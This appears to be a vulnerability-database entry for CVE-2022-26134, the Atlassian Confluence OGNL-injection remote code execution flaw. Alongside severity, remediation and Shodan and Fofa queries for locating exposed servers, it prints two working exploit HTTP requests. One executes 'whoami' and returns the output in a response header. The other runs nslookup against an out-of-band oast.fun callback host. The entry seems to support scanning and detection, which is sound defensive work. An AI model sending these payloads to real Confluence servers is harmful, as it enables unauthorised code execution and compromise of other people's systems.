| Title | Confluence - Remote Code Execution |
|---|---|
| Author | pdteam,jbertman |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94408 |
| CVE ID | CVE-2022-26134 |
| CWE ID | CWE-917 |
| Shodan Query | http.component:"Atlassian Confluence"http.component:"atlassian confluence" |
| Fofa Query | app="atlassian-confluence" |
| Tags | cve cve2022 packetstorm confluence rce ognl oast kev atlassian vkev vuln |
Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20d5jma6hle0o3ni5podvgoepe73tjf5yox.oast.fun%22%29%7D/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26134.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-26134.pcap
N/AN/A